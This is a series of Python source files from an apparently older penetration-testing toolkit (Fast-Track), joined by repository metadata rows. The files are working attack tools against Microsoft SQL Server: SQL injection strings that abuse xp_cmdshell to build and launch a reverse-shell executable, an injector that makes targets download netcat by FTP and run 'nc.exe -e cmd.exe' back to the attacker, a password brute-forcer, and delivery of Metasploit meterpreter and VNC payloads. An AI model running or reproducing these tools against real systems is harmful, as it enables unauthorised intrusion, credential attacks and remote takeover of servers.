38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt' ;exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt';exec master..xp_cmdshell 'echo e 0500 >18.txt';exec master..xp_cmdshell 'echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >19.txt';exec master..xp_cmdshell 'echo e 0580 >20.txt';exec master..xp_cmdshell 'echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >21.txt';exec master..xp_cmdshell 'echo r cx >22.txt';exec master..xp_cmdshell 'echo 04ef >23.txt';exec master..xp_cmdshell 'echo w >24.txt';exec master..xp_cmdshell 'echo q >25.txt';exec master..xp_cmdshell 'type 1.txt > reverse.txt';exec master..xp_cmdshell 'type 2.txt >> reverse.txt';exec master..xp_cmdshell 'type 3.txt >> reverse.txt';exec master..xp_cmdshell 'type 4.txt >> reverse.txt';exec master..xp_cmdshell 'type 5.txt >> reverse.txt';exec master..xp_cmdshell 'type 6.txt >> reverse.txt';exec master..xp_cmdshell 'type 7.txt >> reverse.txt';exec master..xp_cmdshell 'type 8.txt >> reverse.txt';exec master..xp_cmdshell 'type 9.txt >> reverse.txt';exec master..xp_cmdshell 'type 10.txt >> reverse.txt';exec master..xp_cmdshell 'type 11.txt >> reverse.txt';exec master..xp_cmdshell 'type 12.txt >> reverse.txt';exec master..xp_cmdshell 'type 13.txt >> reverse.txt';exec master..xp_cmdshell 'type 14.txt >> reverse.txt';exec master..xp_cmdshell 'type 15.txt >> reverse.txt';exec master..xp_cmdshell 'type 16.txt >> reverse.txt';exec master..xp_cmdshell 'type 17.txt >> reverse.txt';exec master..xp_cmdshell 'type 18.txt >> reverse.txt';exec master..xp_cmdshell 'type 19.txt >> reverse.txt';exec master..xp_cmdshell 'type 20.txt >> reverse.txt';exec master..xp_cmdshell 'type 21.txt >> reverse.txt';exec master..xp_cmdshell 'type 22.txt >> reverse.txt';exec master..xp_cmdshell 'type 23.txt >> reverse.txt';exec master..xp_cmdshell 'type 24.txt >> reverse.txt';exec master..xp_cmdshell 'type 25.txt >> reverse.txt';exec master..xp_cmdshell 'debug<reverse.txt';exec master..xp_cmdshell 'copy service.dll reverse.exe';exec master ..xp_cmdshell 'del 1.txt';exec master ..xp_cmdshell 'del 2.txt';exec master ..xp_cmdshell 'del 3.txt';exec master ..xp_cmdshell 'del 4.txt';exec master ..xp_cmdshell 'del 5.txt';exec master ..xp_cmdshell 'del 6.txt';exec master ..xp_cmdshell 'del 7.txt';exec master ..xp_cmdshell 'del 8.txt';exec master ..xp_cmdshell 'del 9.txt';exec master ..xp_cmdshell 'del 10.txt';exec master ..xp_cmdshell 'del 11.txt';exec master ..xp_cmdshell 'del 12.txt';exec master ..xp_cmdshell 'del 13.txt';exec master ..xp_cmdshell 'del 14.txt';exec master ..xp_cmdshell 'del 15.txt';exec master ..xp_cmdshell 'del 16.txt';exec master ..xp_cmdshell 'del 17.txt';exec master ..xp_cmdshell 'del 18.txt';exec master ..xp_cmdshell 'del 19.txt';exec master ..xp_cmdshell 'del 20.txt';exec master ..xp_cmdshell 'del 21.txt';exec master ..xp_cmdshell 'del 22.txt';exec master ..xp_cmdshell 'del 23.txt';exec master ..xp_cmdshell 'del 24.txt';exec master ..xp_cmdshell 'del 25.txt';exec master ..xp_cmdshell 'del reverse.txt';exec master ..xp_cmdshell 'del service.dll';exec master..xp_cmdshell 'reverse.exe %s 4444'--""" % (ipaddr)) print " [-] The PAYLOAD is being delivered. This can take up to two minutes. [-]\n" a=urlopen(form.click()).read() pause=raw_input("\n[-] Fast-Track is finished. Press enter to exit.. [-]") print "\n\n" x = x + 1 try: check = str(forms[x]) except IndexError: check = '[]' except IndexError: print "\n No forms detected on the page, exiting Fast-Track...\n" except KeyboardInterrupt: cleanup=os.popen2("rm parse.txt 2> /dev/null;rm parse2.txt 2> /dev/null") print "\n Exiting Fast-Track....\n" time.sleep(5) except Exception, e: cleanup=os.popen2("rm parse.txt 2> /dev/null;rm parse2.txt 2> /dev/null") print " Sorry, they probably aren't suseptible...printing error message: \n"+str(e) time.sleep(5)
11,739
Python
.py
99
114.20202
8,130
0.6865
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,353
sqlping.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/sqlping.py.svn-base
#!/usr/bin/env python import time import subprocess import os import re import sys definepath=os.getcwd() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line # Define ranges for scanning here try: scanfirst1=sys.argv[4] except IndexError: if not os.path.isfile("bin/appdata/hostfile"): scanfirst1=raw_input("Enter the IP Range to scan for SQL Scan (example 192.168.1.1-255): ") if os.path.isfile("bin/appdata/hostfile"): hostfile=raw_input("Enter path to the file of ip addresses to scan: ") # decide to do advanced identification of sql servers sqlping=raw_input(""" Do you want to perform advanced SQL server identification on non-standard SQL ports? This will use UDP footprinting in order to determine where the SQL servers are at. This could take quite a long time. Do you want to perform advanced identification, yes or no: """) # default to yes if sqlping == '': sqlping=("yes") # if no, do regular scan if sqlping == 'n' or sqlping == 'no': print ("Alright. Moving on...") print """There may be a slight delay while scanning... be patient...""" if os.path.isfile("bin/appdata/hostfile"): scan1=os.system("nmap -sT -v -P0 -p1433 -iL %s > bin/appdata/SqlScan.txt 2> /dev/null" % (hostfile)) # start scan looking just for 1433 if not os.path.isfile("bin/appdata/hostfile"): scan1=os.system("nmap -sT -v -P0 -p1433 %s > bin/appdata/SqlScan.txt 2> /dev/null" % (scanfirst1)) print "\n" scanres=os.popen("grep Discovered* bin/appdata/SqlScan.txt").read() if not scanres: print "\nNo SQL servers were found during scanning...Sorry.\n" print "Exiting Fast-Track....\n\n" rmold=subprocess.Popen("rm bin/appdata/SqlScan.txt 2>/dev/null", shell=True).wait() sys.exit(1) # display discovered sql servers print "%s" % scanres bb=subprocess.Popen('grep "Discovered" bin/appdata/SqlScan.txt | cut -c34-48 > bin/appdata/sqlip.txt', shell=True).wait() fileopen=file("bin/appdata/sqlip.txt","r").readlines() filewrite=file("bin/appdata/sqlopen.txt","w") for line in fileopen: # remove line breaks line=line.rstrip() # append 1433 as port line=line+":1433" filewrite.write(line) filewrite.write("\n") filewrite.close() time.sleep(2) # advanced sql footprinting using metasploit aux module if sqlping == 'y' or sqlping == 'yes': try: match=re.search("-",scanfirst1) if match: print ("""Fast-Track currently only supports cidr notations or one IP address at a time.\n\nExample: 192.168.1.1/24 or 192.168.1.35\n\nExiting Fast-Track...""") print "\n\nNOTE THE REASON FOR EXITING WAS DUE TO FAST-TRACK ONLY SUPPORTING CIDR NOTATION, PLEASE PUT THE IP ADDR IN A 192.168.1.1/24 LIKE FORMAT\n\n" sys.exit() # set variables, log paths, fix / in filenames print ("\n[-] Launching SQL Ping, this may take a while to footprint.... [-]\n") sanitize=scanfirst1.replace(r"/",".cidr.") logpath=("%s/bin/logs/" % (definepath)) filename=("SQLServersUDP%s" % (sanitize)) launchsqlping=subprocess.Popen(r"""%smsfcli auxiliary/scanner/mssql/mssql_ping THREADS=10 RHOSTS=%s E > %s%s""" % (metapath,scanfirst1,logpath,filename), shell=True).wait() parse1=file("bin/logs/%s" % (filename),"r").readlines() filewrite=file("bin/appdata/sqlopen.txt","w") for line in parse1: match1=re.search("SQL Server information for", line) # find IP addr from results if match1: # parse through metasploit output ipaddr=line.replace(":","") ipaddr=ipaddr.split() ipaddr=ipaddr[5] # find port from results match2=re.search("tcp",line) if match2: port=line.split() port=port[3] ipaddr1=ipaddr+":"+port ipaddr1=ipaddr1.rstrip() filewrite.write(ipaddr1) filewrite.write("\n") filewrite.close() except Exception,e: print "\nSomething went wrong...Printing error "+e+"\n\n"
4,190
Python
.py
95
39.136842
202
0.682007
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,354
binarypayloadgen.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/binarypayloadgen.py.svn-base
#!/usr/bin/env python import os import sys import time import subprocess definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include include.print_banner() try: import psyco psyco.full() except ImportError: pass try: define=sys.argv[3] except IndexError: print """Binary to Hex Generator v0.1 This menu will convert an exe to a hex file which you just need to copy and paste the output to a windows command prompt, it will then generate an executable based on your payload **Note** Based on Windows restrictions the file cannot be over 64kb <ctrl>-c to Cancel """ define=raw_input(" Enter the path to the file to convert to hex: ") output="binarypayload.txt" from sys import exit, stdout throwerror=300 filesize = lambda x,n: stdout.write(x+'\n') or throwerror#(n)#exit(n) try: fileopen,writefile = open(define,'rb'),open(output,'w') except: print " Something went wrong...." FOOTER = ''.join(map(lambda x:"echo "+x+">>T\n", ["RCX","%X ","N T.BIN","WDS:0","Q"])) FOOTER += 'DEBUG<T 1>NUL\nMOVE T.BIN binary.exe 1>NUL 2>NUL' FC,CX = 0, fileopen.seek(0,2) or fileopen.tell() if (CX > 0xFFFF): fileopen.close(); writefile.close() filesize('[!] filesize exceeds 64kb, quitting.',1); fileopen.seek(0,0) writefile.write('DEL T 1>NUL 2>NUL\n') try: for chunk in xrange(0x1000): finalwrite = fileopen.read(16) or writefile.write(FOOTER%CX) or filesize("",0) if finalwrite.count('\0')==0x10: FC += 1 else: if FC > 0: writefile.write('echo FDS:%X L %X 00>>T\n'%((chunk-FC)*0x10,FC*0x10)) FC = 0 writefile.write('echo EDS:%X '%(chunk*0x10)) writefile.write(' '.join(map(lambda x:"%02X"%ord(x),finalwrite))+'>>T\n') except Exception: print "Finished..." print "Check out the file 'binarypayload.txt' in the Fast-Track directory." # Removed old call for os.system, no longer supported #kateopen=os.system(r"kwrite %s 2> /dev/null &" % (output)) #kateopen=subprocess.Popen(r"kwrite %s 1> /dev/null 2> /dev/null &" % (output), shell=True)
2,085
Python
.py
56
33.946429
91
0.685672
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,355
updatemeta.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/updatemeta.py.svn-base
#!/usr/bin/env python import os import re try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line print " Updating Metasploit...." metaupdate=os.system("svn update %s" % (metapath))
495
Python
.py
19
23
75
0.711864
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,356
sqlftppayload.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/sqlftppayload.py.svn-base
#!/usr/bin/env python import pexpect import os import time import sys import subprocess definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass try: targeturl=sys.argv[4] except IndexError: include.print_banner() print """ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Requirements: PExpect, ProFTP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SQL Injector FTP This menu will automatically set up an FTP server for you, create a user account, place netcat in the home directory, do SQL injection, reverse ftp netcat off of the system, shut down FTP, delete the user account just created, and give you a reverse shell on the affected system. """ sqlquestion1=raw_input(""" Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter Example: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah <ctrl>-c to exit to Main Menu... Enter here: """) createdir=subprocess.Popen("mkdir /home/ftpshare", shell=True).wait() adduser=subprocess.Popen("useradd ftpuser -d /home/ftpshare -s /bin/false", shell=True).wait() time.sleep(1) ncopy=subprocess.Popen("cp /pentest/windows-binaries/tools/nc.exe /home/ftpshare/", shell=True).wait() permissions=subprocess.Popen("chmod 755 /home/ftpshare", shell=True).wait() try: child1=pexpect.spawn('passwd ftpuser') child1.sendline('ftpuser') child1.expect('Retype*') child1.sendline('ftpuser') child1.interact() except Exception: print ' Enabled FTPUser Account...' print ' Created user FTPUser and made home directory of /home/ftpshare' import socket try: ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(2) ipaddr=ipaddr.getsockname()[0] except Exception: print " No internet connection detected, please enter your IP address manually.." ipaddr=raw_input("Enter your IP Address: ") string1=(r"""';exec master..sp_addextendedproc "xp_cmdshell", "C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll";exec master..sp_configure "show advanced options", 1;RECONFIGURE;exec master..sp_configure "xp_cmdshell", 1;RECONFIGURE;exec master..xp_cmdshell 'echo open %s> moo.txt';exec master..xp_cmdshell 'echo failedlogin1>> moo.txt' ;exec master..xp_cmdshell 'echo failedlogin2>> moo.txt';exec master..xp_cmdshell 'echo user>> moo.txt';exec master..xp_cmdshell 'echo ftpuser>> moo.txt';exec master..xp_cmdshell 'echo ftpuser>> moo.txt';exec master..xp_cmdshell 'echo bin>> moo.txt';exec master..xp_cmdshell 'echo get nc.exe>> moo.txt';exec master..xp_cmdshell 'echo bye>> moo.txt';exec master..xp_cmdshell 'ftp -s:moo.txt';exec master..xp_cmdshell 'del moo.txt';exec master..xp_cmdshell 'nc.exe %s 8080 -e cmd.exe'--""" % (ipaddr,ipaddr)) sqlreplace = targeturl.replace("'INJECTHERE", """%s""" % (string1)) try: import urllib print ' Starting FTP Service...' ftpstart=subprocess.Popen("proftpd &", shell=True).wait() time.sleep(3) print ' FTP Service started...' print ' Starting NetCat, a window should pop-up' ncstart=pexpect.spawn('xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector" -e nc -lvp 8080 2> /dev/null') print ' NetCat Started....' print " Sending exploit...." time.sleep(3) connect=urllib.urlopen("""%s""" % (sqlreplace).replace(" ", "%20")) print " You should have a shell if everything went good....Might take a couple seconds\n" print ' Sleeping 5 seconds then running cleanup' time.sleep(5) cleanup1=os.system('userdel ftpuser;rm -rf /home/ftpshare/;killall proftpd') except Exception: print ' Something went wrong, did you enter the IP address right?? Do you have netcat and FTP running??\n\nAlso, might not be running as "SA".' time.sleep(5) cleanup1=subprocess.Popen("userdel ftpuser;rm -rf /home/ftpshare/;killall proftpd", shell=True).wait()
4,058
Python
.py
78
48.24359
854
0.706757
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,357
sqlbrutequick.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/sqlbrutequick.py.svn-base
#!/usr/bin/env python import _mssql import sys import os import time import re import subprocess import pexpect import socket definepath=os.getcwd() try: import psyco psyco.full() except ImportError: pass try: username=sys.argv[5] except IndexError: username=raw_input("Enter username for SQL database (example:sa): ") # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line # Define payload delivery here import sqlping def Payload_Delivery(choice,jumptosession): try: ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(2) ipaddr=ipaddr.getsockname()[0] except Exception: print "No internet connection detected, please enter your IP Address in manually." ipaddr=raw_input("Enter your IP here: ") port=raw_input("What port do you want the payload to connect to you on: ") if choice=='2': print "Metasploit Reverse VNC Upload Detected.." print "Launching MSFCLI VNC Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-60-* -T "Fast-Track SQL Bruter Metasploit VNC Inject Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse VNC Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/vncinject/reverse_tcp LHOST=%s LPORT=%s AUTOVNC=true X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") time.sleep(5) printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp = line1.replace("echo ", "") print "Sending Payload: " + temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") if choice=='3': print "Metasploit Reverse Meterpreter Upload Detected.." print "Launching Meterpreter Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse Meterpreter Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo e ", "") print "Sending Payload: " + temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") # choice 4 = metasploit reflective vnc payload if choice=='4': print "Metasploit Reflective Reverse VNC Upload Detected.." print "Launching Meterpreter Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Reflective VNC Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse VNC Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo e ", "") print "Sending Payload: " + temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") writefile=file("bin/appdata/sqlpassword","w") writefile.write("password2\n\npassword\nsqlserver\nsql\npassword1\npassword123\ncomplexpassword\ndatabase\nserver\nchangeme\nchange\nsqlserver2000\nsqlserver2005\nSqlserver\nSqlServer\nPassword1\nPassword2\nP@ssw0rd\nP@ssw0rd!\nP@55w0rd!\nP@ssword!\nPassword!\npassword!\nsqlsvr\nsqlaccount\naccount\nsasa\nsa\nadministator\npass\nsql\nsqlsql\nmicrosoft\nsqlserver\nsa\nsasa\nwelcome\nsqlpass\nsqlpassword\nguessme\nbird\nP@55w0rd!\ntest\ndev\nqa\ngod\nsysadmin\nwater\ndirt\nair\nearth\ncompany\nsecret\nsqlpass123\n123456\nabcd123\nabc\nburp\nprivate\nunknown\nwicked\nalpine\ntrust\nmicrosoft\nsql2000\nsql2003\nsql2005\nsql2008\nvista\nxp\nnt\n98\n95\n2003\n2008") writefile.close() print "Brute forcing username: "+username+"\n" print "Be patient this could take awhile...\n" rmold=subprocess.Popen("rm bin/appdata/sqlsuccesslist.txt 2> /dev/null", shell=True) rmold=subprocess.Popen("rm bin/appdata/*comp 2> /dev/null", shell=True) try: for line in open('bin/appdata/sqlopen.txt','r').readlines(): counter=0 for line2 in open('bin/appdata/sqlpassword','r').readlines(): try: line2=line2.rstrip() print "Brute forcing password of %s on IP %s" % (line2,line) mssql = _mssql.connect('%s' % (line),'%s' % (username),'%s' % (line2)) print 'SQL Server Compromised: "%s" with password of: "%s" on IP %s' % (username,line2,line) counter=counter+1 filewrites=open("bin/appdata/sqlsuccesslist.txt", "a") line=line.rstrip() if counter == 1: filewrites.write("%s,%s,%s" % (username,line2,line)+ '\n').rstrip() counter=0 except Exception: pass except Exception : pass try: filewrites.close() except Exception: pass if os.path.isfile("bin/appdata/sqlsuccesslist.txt"): while 1==1: try: fileread=open("bin/appdata/sqlsuccesslist.txt","r").readlines() count=1 print "\n*******************************************\nThe following SQL Servers were compromised:\n*******************************************\n" for line in fileread: line=line.rstrip() line=tuple(line.split(",")) print str(count)+". "+str(line[2]).rstrip()+ " *** U/N: "+str(line[0]).rstrip()+" P/W: "+str(line[1]).rstrip()+" ***" compsystem=open("bin/appdata/%scomp" % (count), "w") compsystem.write("%s,%s,%s" % (line[2],line[0],line[1])) count=int(count)+1 except Exception,e: print e compsystem.close() print "\n*******************************************\n" print "To interact with system, enter the SQL Server number. \n\nExample: 1. 192.168.1.32 you would type 1" jumptosession=raw_input("\nEnter the number: ") if jumptosession == 'quit': print "\n\nExiting 